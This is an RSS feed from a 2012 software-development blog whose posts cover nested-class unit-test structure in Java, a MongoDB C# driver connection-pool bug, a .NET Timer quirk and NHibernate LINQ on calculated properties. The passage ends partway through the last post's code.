<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Hendry Luk -- Sheep in Fence</title>
	<atom:link href="http://hendryluk.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hendryluk.wordpress.com</link>
	<description></description>
	<lastBuildDate>Thu, 26 Jan 2012 22:23:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='hendryluk.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Hendry Luk -- Sheep in Fence</title>
		<link>http://hendryluk.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://hendryluk.wordpress.com/osd.xml" title="Hendry Luk -- Sheep in Fence" />
	<atom:link rel='hub' href='http://hendryluk.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Structuring Unit-Tests, My Way</title>
		<link>http://hendryluk.wordpress.com/2012/01/10/structuring-unit-tests-my-way/</link>
		<comments>http://hendryluk.wordpress.com/2012/01/10/structuring-unit-tests-my-way/#comments</comments>
		<pubDate>Tue, 10 Jan 2012 12:38:22 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1595</guid>
		<description><![CDATA[Phil Haack wrote recently about how he structures his unit-tests (which he stole from NuGet.org&#8217;s Drew Miller). I thought I would respond with a post on how I structure my unit-tests. I found Phil&#8217;s post interesting because it&#8217;s very similar to the way I structure my unit-tests, at least in spirit. Phil brought up some [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1595&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Phil Haack <a href="http://haacked.com/archive/2012/01/02/structuring-unit-tests.aspx">wrote </a>recently about how he structures his unit-tests (which he stole from NuGet.org&#8217;s <a href="http://twitter.com/anglicangeek/">Drew Miller</a>). I thought I would respond with a post on how <em>I</em> structure my unit-tests. I found Phil&#8217;s post interesting because it&#8217;s very similar to the way I structure my unit-tests, at least in spirit. Phil brought up some points there which I strongly agree:</p>
<ol>
<li><em>One flat test-class per target-class</em> is too convoluted. You will soon get drowned by the complexities of your tests.</li>
<li>This giant test-class needs to be broken down to nested-classes</li>
<li>This structure keeps tests organized and grouped together. So you can collapse method-body (CTRL+M, CTRL+O), or use the object-browser, to quickly view the list of test hierarchies within your class</li>
</ol>
<p>Now the difference.</p>
<p>Phil groups his tests based on target methods. I.e. as opposed to one test-class per target-class, now we have one test-class per target-method. That definitely makes things cleaner. But I usually take it even further.</p>
<p>I think a method is still too big to be captured by a single test-class. One method can be used in a variety of different contexts and scenarios.  Testing all these different contexts and scenarios within one single method often leads to tedious repetitive setup code in the unit-test methods.</p>
<p>So instead of adopting &#8220;one test-class per target-method&#8221;, I structure my unit-tests in a &#8220;one test-class per scenario&#8221; manner. I&#8217;m so far very happy with this approach, not just because it improves readability, but mainly because it greatly promotes reusability (of test-code) and DRYness (as in Don&#8217;t Repeat Yourself).</p>
<p>Now, how do we define these test-classes? I divide my test-classes into 2 kinds:</p>
<ul>
<li>GIVEN test class. This test-class defines some background context of your test-story. In short, a GIVEN test class usually has an Arrange() setup method.</li>
<li>WHEN test class. WHEN class is an action. It usually has an Act() method, which is where you actually invoke your target-method.</li>
</ul>
<p>So what is these Act() and Arrange() methods? Well they&#8217;re both actually what you usually call Setup() methods, but I break them to 2 different kinds. Why? Because I want to make sure <em>all Arrange() methods to run before all Act() methods</em>. This semantic is consistent with the AAA (Arrange-Act-Assert) syntax, which many mock-frameworks follow. So this structuring feels very natural.</p>
<p>Ok let&#8217;s cut to the chase now. Our first example, we write some unit-tests where you have <strong>one context (GIVEN) followed by different actions (WHENs).</strong><br />
<strong></strong></p>
<p><strong>GIVEN an_empty_shopping_cart:</strong></p>
<ul>
<li>should_have_no_item</li>
<li><strong>WHEN added_12_productA:</strong>
<ul>
<li>should_only_have_1_item</li>
<li>the_item_should_be_of_productA</li>
<li>item_quantity_should_be_12</li>
<li><strong>WHEN added_5_productB:</strong>
<ul>
<li>should_now_have_2_items</li>
<li>first_item_remain_intact</li>
<li>second_item_should_be_of_productB</li>
<li>productB_quantity_should_be_5</li>
<li><strong>WHEN cleared:</strong>
<ul>
<li>should_now_have_no_item</li>
</ul>
</li>
</ul>
</li>
<li><strong>WHEN set_productB_quantity_to_0:</strong>
<ul>
<li>should_now_only_have_productA_left</li>
</ul>
</li>
</ul>
</li>
<li><strong>WHEN added_5_productA:</strong>
<ul>
<li>should_still_have_1_item</li>
<li>item_quantity_should_now_be_17</li>
</ul>
</li>
</ul>
<p>(* This tree hierarchy is how the tests will actually look on NUnit/Resharper test runner)</p>
<p>Remember, WHEN contains Action(). In this example, you&#8217;re basically just following one action after another. This is the case where you have a single context where you can perform a chain of different actions, with each step having its own set of tests (assertions).</p>
<p>The code looks like the following. (I use Java because it has a really nice feature called instance-scoped nested-class, which C# does not have. This feature means that nested-class has access to the instance of the outer-class).</p>
<p><pre class="brush: java;">
public class Given_an_empty_shoppping_cart{
   @Mock Customer customer;
   ShoppingCart cart;

   @Arrange void arrange(){
      cart = new ShoppingCart(customer);
   }

   @Test void should_have_no_item(){
      assertTrue(cart.isEmpty());
   }

   public class When_added_12_productA{
      @Act void act(){
         // code to setup stub for productA
         cart.add(productA, 12);
      }

      @Test void should_only_have_1_item(){
         assertEquals(1, cart.getItems().size());
      }
      @Test void the_item_should_be_of_productA(){
         // assert code
      }
      @Test void item_quantity_should_be_12(){
         // assert code
      }

      public class When_added_5_productB{
         @Act void act(){
            // code to setup stub for productB
            cart.add(productB, 5);
         }

         @Test void should_have_2_items(){
            // assert code
         }
         @Test void first_item_should_remain_intact(){
            the_item_should_be_of_productA();
            item_quantity_should_be_12();
         }
         @Test void second_item_should_be_of_productB(){
            // assert code
         }
         @Test void productB_quantity_should_be_5(){
            // assert code
         }

         public class When_cleared{
            @Act void act(){
               cart.clear();
            }

            @Test void should_have_no_item(){
               assertTrue(cart.isEmpty());
            }
         }

         public class When_set_productB_quantity_to_0{
            @Act void act(){
               cart.setQuantity(productB, 0);
            }

            @Test void should_now_only_have_productA_left(){
               should_only_have_1_item();
               the_item_should_be_of_productA();
               item_quantity_should_be_12();
            }
         }
      }

      public class When_added_5_more_productA{
         @Act void act(){
            cart.add(productA, 5);
         }
         @Test void should_still_have_1_item(){
            assertEquals(1, cart.getItems().size());
         }
         @Test void item_quantity_should_now_be_17(){
            // assert code
         }
      }
   }
}
</pre></p>
<p>(Yap, sorry if that was long. I just typed them all in just in case you&#8217;re curious how the code looks like.)</p>
<p>So by grouping each test-scenario into its own story class, you promote explicitness and DRYness. We only write the context and the action only once, and use it all the way down the hierarchy. You also notice I&#8217;m reusing my unit-tests on line#65-#67. (Additionally, in practice I also leverage a lot of inheritance to reuse a set of unit-tests to multiple contexts).</p>
<p>And this is how the actual source-code looks like on the editor.</p>
<div id="attachment_1628" class="wp-caption alignnone" style="width: 383px"><a href="http://hendryluk.files.wordpress.com/2012/01/objectbrowser.png"><img class=" wp-image-1628 " title="ObjectBrowser" src="http://hendryluk.files.wordpress.com/2012/01/objectbrowser.png?w=373&#038;h=471" alt="Code Outline View" width="373" height="471" /></a><p class="wp-caption-text">Outline View</p></div>
<p>So that was an example of writing multiple WHENs to create a chain of different actions.</p>
<p>There is also the reverse. You can write your tests where you have <strong>one action (WHEN) applied to different contexts (GIVENs)</strong>:</p>
<p>(Continuing on the shopping-cart example)</p>
<ul>
<li><strong>WHEN estimating_local_shipping_fee_at_2dollars_per_kg:</strong>  // -&gt; when the action happens!
<ul>
<li><strong>GIVEN product_is_3kgs:</strong>
<ul>
<li><strong>GIVEN customer_is_standard_member:</strong>
<ul>
<li>shipping_should_be_18bucks</li>
</ul>
</li>
<li><strong>GIVEN customer_is_premium_member:</strong>
<ul>
<li>should_be_free_shipping</li>
</ul>
</li>
</ul>
</li>
<li><strong>GIVEN product_is_heavier_than_4kgs:</strong>
<ul>
<li><strong>GIVEN customer_is_standard_member:</strong>
<ul>
<li>should_only_charge_for_4kgs__ie_24bucks</li>
</ul>
</li>
<li><strong>GIVEN customer_is_premium_member:</strong>
<ul>
<li>should_charge_a_flat_1dollar_surcharge</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>(* This tree hierarchy is how the tests will actually look on NUnit/Resharper test runner)</p>
<p>In this example, you are performing one single action (estimating local shipping charge of the shopping-cart), but the expectation of this one single operation may vary, depending on the contexts. (E.g. the weight of the products in the cart, and the type of the customer).</p>
<p><pre class="brush: java;">
/* continued from previous code example */
public class When_added_12_productA{
   @Act void act(){
      cart.add(productB, 5);
   }

   public class When_estimating_local_shipping_fee_at_2dollars_per_kg{
      Money cost;
      @Act void act(){
         when(product.getShippingRate())
            .thenReturn(ShippingRate.perKg(Money.local(0.50)));

         cart.setDeliveryAddress(somewhereLocal);
         cost = cart.calculateShippingCost();
      }

      public class Given_product_is_3kgs{
         @Arrange void setup(){
            when(product.getWeight()).thenReturn(Weight.kg(3));
         }

         public class Given_customer_is_standard_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(false);
            }

            @Test void shipping_should_be_18bucks(){
                // 12items x 3kgs x 50c
               assertEquals(Money.local(12 * 3 * 0.50), cost);
            }
         }
         public class Given_customer_is_premium_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(true);
            }

            @Test void should_be_free_shipping(){
                  assertEquals(Money.zero(), cost);
            }
         }
      }

      public class Given_product_is_heavier_than_4kgs{
         @Arrange void setup(){
            when(product.getWeight()).thenReturn(Weight.kg(10));
         }

         public class Given_customer_is_standard_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(false);
            }

            @Test void should_only_charge_for_4kgs__ie_24bucks(){
               assertEquals(Money.local(12 * 4 * 0.50), cost);
            }
         }

         public class Given_customer_is_premium_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(true);
            }

            @Test void should_charge_a_flat_1dollar_surcharge(){
               assertEquals(Money.local(1), cost);
            }
         }
      }
   }
}
</pre></p>
<div id="attachment_1630" class="wp-caption alignnone" style="width: 404px"><a href="http://hendryluk.files.wordpress.com/2012/01/objectbrowser21.png"><img class="size-full wp-image-1630" title="Unit-Test Hiearchy on Eclipse" src="http://hendryluk.files.wordpress.com/2012/01/objectbrowser21.png" alt="Unit-Test Hiearchy on Eclipse" width="394" height="379" /></a><p class="wp-caption-text">Outline View</p></div>
<p>This is where the distinction between @Act and @Arrange comes handy. In this case, we are able to define the background story (using @Arrange methods) before the @Act is performed (i.e. invoking shipping calculation). By grouping the test by these different contexts, we promote DRYness. We define our actions once (in WHEN classes), and reuse it all the way down through multiple different contexts (by applying GIVENs through the hierarchy).</p>
<p>Also, notice that we have a couple of repetitive classes:<em> Given_customer_is_standard member</em> and <em>Given_customer_is_premium member</em>. This is a good candidate for an extract-superclass refactoring to further sanitize the test-code, especially if they&#8217;re used in many contexts.</p>
<p>We have seen tests with multiple WHENs, and ones with multiple GIVENs. You can mix and match various combination. They will feel very natural, helping eliminate brittle/fragile unit-test code. And they will look really nice on your test-runner too <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h1>Source Code</h1>
<p>To run the test example, you will need a custom JUnitTestRunner than I have written, which is a pretty small class. I will make the source-code available somewhere in GitHub, and update this post. So watch this space. Also, the code example here uses Java (because of its instance-scoped nested-class), but the pattern can also be achieved using lambda syntax, for example with MSpec.</p>
<h1>Summary</h1>
<p>Flat unit-test structure can get really convoluted. Grouping your unit-tests into nested-classes can improve readability. Phil showed a great example of one way to group these tests. However, the test itself is still written using conventional pattern:  you write each test-method with the whole context-action-assertion code (arrange-act-assert). This leads to massively repetitive code.</p>
<p>By breaking arrange and act into separate WHEN and GIVEN classes, these codes will only need to be written once, and reused throughout your class hierarchical structure. It greatly promotes DRYness, and avoids fragile unit-tests.</p>
<p>This is a technique I borrow from BDD. Related post by me from a couple years back:<a href="http://hendryluk.wordpress.com/2009/07/17/bdd-tdd-done-right/"> TDD, BDD Done Right</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1595/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1595&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2012/01/10/structuring-unit-tests-my-way/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2012/01/objectbrowser.png" medium="image">
			<media:title type="html">ObjectBrowser</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2012/01/objectbrowser21.png" medium="image">
			<media:title type="html">Unit-Test Hiearchy on Eclipse</media:title>
		</media:content>
	</item>
		<item>
		<title>Turns Out, &#8216;Select&#8217; Is Broken</title>
		<link>http://hendryluk.wordpress.com/2011/10/12/turns-out-select-is-broken/</link>
		<comments>http://hendryluk.wordpress.com/2011/10/12/turns-out-select-is-broken/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 10:50:37 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[MongoDb]]></category>
		<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1582</guid>
		<description><![CDATA[My last few days have been super frantic. MongoDb has decided to go haywire, and nothing makes any sense. Everything was huming along jauntily, all fine, and then mayhem. The web app could not connect to MongoDb anymore. The driver always throws a TimeoutException every time: &#8220;Timeout waiting for a MongoConnection.&#8221; (from MongoConnectionPool.AcquireConnection(MongoDatabase)) The pool [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1582&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>My last few days have been super frantic. MongoDb has decided to go haywire, and nothing makes any sense.</p>
<p>Everything was huming along jauntily, all fine, and then mayhem. The web app could not connect to MongoDb anymore. The driver always throws a TimeoutException every time:</p>
<blockquote><p>&#8220;Timeout waiting for a MongoConnection.&#8221; (from MongoConnectionPool.AcquireConnection(MongoDatabase))</p></blockquote>
<p>The pool runs out of connections, and it never replenishes itself. The whole server stays down until I restart the web-server. I immediately suspected a connection leak in the code. I must have missed to dispose something.</p>
<p>I managed to reliably reproduce the error by hammering the app with a massive load. Eventually Mongo connection-pool would pass out. From that point on, every request will throw a connection timeout. This only happens on a live Azure server, not locally. My fancy debugger is out of the game.</p>
<p>So I reviewed my code, trying to find any connection leak, but couldn&#8217;t see anything out of ordinary. I digged into the source-code of MongoDb-CSharp driver, trying to find how my code leaks. No cigar. Then I tried to blame <a href="https://github.com/craiggwilson/fluent-mongo">FluentMongo</a> library that I use. That must be it! I suspected it might not dispose MongoCursorEnumerator properly, causing a leak under heavy load. I took the library out of my solution completely, the I was still no closer to fixing the error. Didn&#8217;t see any problem with <a href="https://github.com/sridharn/Mongo-Azure/">MongoAzure</a>&#8216;s code either.</p>
<p>The only thing left was the MongoDb-Csharp driver itself. But we&#8217;re taught that <a title="Select isn't broken" href="http://www.travisswicegood.com/2009/01/04/select-isn-t-broken/">select() isn&#8217;t broken</a>. I can&#8217;t be seriously thinking that MongoDb-CSharp leaks connections, can I? But after a few days, I hadn&#8217;t moved anywhere from where I was when this whole shenanigans started, so I eventually decided to investigate into the MongoDb driver&#8217;s source-code.</p>
<p>And there I found the answer. There was not a leak. The timeout happenned naturally. However, apparently there is a bug in MongoDb driver code: after the first connection-timeout, the pool will will always fall into a broken state. More specifically, there&#8217;s a bit of code in MongoConnectionPool that clears out all its connections (e.g. after a timeout), but without adjusting its counter accordingly. In other word, the pool would be eternally stuck in a drained state.</p>
<p>The fix was just a single line of code (reseting the pool counter to zero). I was just about to submit the patch, when I discovered it had <em>just</em> been <a href="https://github.com/mongodb/mongo-csharp-driver/commit/8c37a3c8fc931718747bd9735c9230b1ee71167b">fixed</a> on their latest trunk, just barely a few days ago.</p>
<p>The fix has not been in any release yet. So if you&#8217;re using the official release version of MongoDb driver (i.e. from NuGet), you have this bug sitting in your server. Whenever your application gets some heavy traffic, it will knock out your MongoDb connection-pool completely, bringing your entire server to a complete halt. So yea it&#8217;s pretty goddamn catastrophic.</p>
<p>The solution: pull the latest <a href="https://github.com/mongodb/mongo-csharp-driver">MongoDb driver</a> from the latest source trunk, and compile it yourself. The moral: sometimes &#8216;select&#8217; can be broken.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/mongodb/'>MongoDb</a>, <a href='http://hendryluk.wordpress.com/tag/troubleshooting/'>Troubleshooting</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1582/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1582/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1582/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1582/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1582/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1582/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1582/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1582/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1582/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1582/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1582/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1582/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1582/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1582/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1582&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/10/12/turns-out-select-is-broken/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>My Daily WTF: Is Timer Broken?</title>
		<link>http://hendryluk.wordpress.com/2011/09/22/is-timer-broken/</link>
		<comments>http://hendryluk.wordpress.com/2011/09/22/is-timer-broken/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 01:36:40 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Async]]></category>
		<category><![CDATA[TPL]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1566</guid>
		<description><![CDATA[I&#8217;ve been working with Task Parallel Library quite extensively lately, and one common thing I need to do is to schedule my tasks with some kind of timing intervals, and System.Threading.Timer is the exact tool for this. Problem starts when my task randomly just go to a mysteriously halt. The problem with doing asynchronous stuff [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1566&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been working with Task Parallel Library quite extensively lately, and one common thing I need to do is to schedule my tasks with some kind of timing intervals, and System.Threading.Timer is the exact tool for this.</p>
<p>Problem starts when my task randomly just go to a mysteriously halt. The problem with doing asynchronous stuff is the premise of asynchronous itself: when any of your tasks is in a wait state, it will drop its current thread back to the thread pool, and therefore you won&#8217;t find anything in the debugger when your tasks do come to a mysterious halt. There&#8217;s no facility in the Visual Studio debugger that allows you to possibly find the last call-stacks of your halting tasks.</p>
<p>I spent almost the whole day sprinkling a lot of Trace information all over the code, and I finally managed to narrow down to my little Delay() method that uses System.Threading.Timer. For some reason, my Timer would occassionaly fail to fire back.</p>
<p><pre class="brush: csharp;">

new Timer(_=&gt; Trace.WriteLine(&quot;fired back&quot;), null, timespan, TimeSpan.FromMilliseconds(-1));

</pre></p>
<p>Most of the times, the timer fires back successfully, except in some rare occasions where apparently it never comes back at all. After pulling my hair in frustration until I had little left, I decided to make a desperate stab and change the code to this:</p>
<p><pre class="brush: csharp;">

new Timer(_=&gt; Trace.WriteLine(&quot;fired back&quot;)).Change(timespan, TimeSpan.FromMilliseconds(-1));

</pre></p>
<p>I wasn&#8217;t expecting anything magical to come out of this, but it did! It fixed the bug. My timer now reliably fires back 100% of the times! I can&#8217;t explain why, but I&#8217;ll definitely file a bug report to Microsoft and see if they can come up with any logical explanation. I can&#8217;t provide a reproduction test for this though, as this bug only happens when I plug a lot of moving parts to the system. Whenever I try to reduce the complexities (to isolate the issue), the bug disappears. It almost seems like a dirty secret that the universe doesn&#8217;t want you to see.</p>
<p>Anyway, that has been an utterly frustrating 10 hours, and I&#8217;m not sure whether it&#8217;s a relief or anger that I&#8217;m feeling right now, but at least this pile of coffee mugs will finally clear out.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/async/'>Async</a>, <a href='http://hendryluk.wordpress.com/tag/tpl/'>TPL</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1566/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1566&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/09/22/is-timer-broken/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>NHibernate: Linq-ing Calculated Properties</title>
		<link>http://hendryluk.wordpress.com/2011/09/06/nhibernate-linq-ing-calculated-properties/</link>
		<comments>http://hendryluk.wordpress.com/2011/09/06/nhibernate-linq-ing-calculated-properties/#comments</comments>
		<pubDate>Tue, 06 Sep 2011 23:53:14 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[nHibernate]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1536</guid>
		<description><![CDATA[Some properties are mapped onto database columns, while others are calculated. Here&#8217;s one simple example: &#8220;Fee&#8221; is a calculated property. You cannot use this property as a part of your Linq query. For instance, if you want to query Parcels with Fees above certain values: Obviously that wouldn&#8217;t work because NHibernate does not recognize this [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1536&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Some properties are mapped onto database columns, while others are calculated. Here&#8217;s one simple example:</p>
<p><pre class="brush: csharp;">
public class Parcel
{
   public PackagingType PackagingType {get; set;}
   public ParcelType ParcelType  {get; set; }
   public float Weight {get; set;}
   public decimal Fee
   {
      get {return (Weight - PackagingType.TareWeight) * ParcelType.FeePerWeight;
   }
}
</pre></p>
<p>&#8220;Fee&#8221; is a calculated property. You cannot use this property as a part of your Linq query. For instance, if you want to query Parcels with Fees above certain values:</p>
<p><pre class="brush: csharp;">
var expensiveParcels = from parcel in Session.Query&lt;Parcel&gt; where parcel.Fee &gt; 1000 select parcel;
</pre></p>
<p>Obviously that wouldn&#8217;t work because NHibernate does not recognize this &#8220;Fee&#8221; property.</p>
<p>There are 3 (conventional) ways to resolve this, you can choose either one of these:</p>
<ol>
<li>Change all your queries to avoid &#8220;Fee&#8221; property, and repeat the calculation logic (every time) instead.<pre class="brush: csharp;">
var expensiveParcels = from parcel in Session.Query&lt;Parcel&gt;
      where (parcel.Weight - parcel.PackagingType.TareWeight) * parcel.ParcelType.FeePerWeight &gt; 1000
      select parcel;
</pre></li>
<li>A slightly <em>better</em> way is to map &#8220;Fee&#8221; property with SQL Formula. It&#8217;s better because you do not have to repeat Fee calculation on every Linq query. E.g., in FluentNHibernate:<br />
<pre class="brush: csharp;">
Map(x=&gt; x.Fee).Access.Readonly().Formula( // Raw SQL -&gt;
    @&quot;((select Weight - (select TareWeight from PackagingType p where  p.Id = PackagingId))
          * (select FeePerWeight from ParcelType pt where pt.Id = ParcelTypeId))&quot;);
);
</pre></li>
<li>Alternatively, you could also write an ILinqToHqlGenerator implementation.<br />
Since version 3.0, NHibernate has been utilizing ReLinq for its Linq-provider, which greatly improves its extensibility. It allows you to register your own ILinqToHqlGenerator, where you basically take a specific Linq expression and return whatever HqlTree expression you desire. For instance, in this example, we build our Hql expression like so:<br />
<pre class="brush: csharp;">
public class ParcelFeeLinqGenerator: BaseHqlGeneratorForProperty
{
   public override HqlTreeNode BuildHql(MemberInfo member, Expression expression, HqlTreeBuilder treeBuilder, IHqlExpressionVisitor visitor)
   {
      var parcel = visitor.Visit(expression).AsExpression();
      return treeBuilder.Multiply(
          treeBuilder.Subtract(
             treeBuilder.Dot(parcel, treeBuilder.Ident(&quot;Weight&quot;)),
             treeBuilder.Dot(treeBuilder.Dot(parcel, treeBuilder.Ident(&quot;PackagingType&quot;)), treeBuilder.Ident(&quot;TareWeight&quot;))
          ),
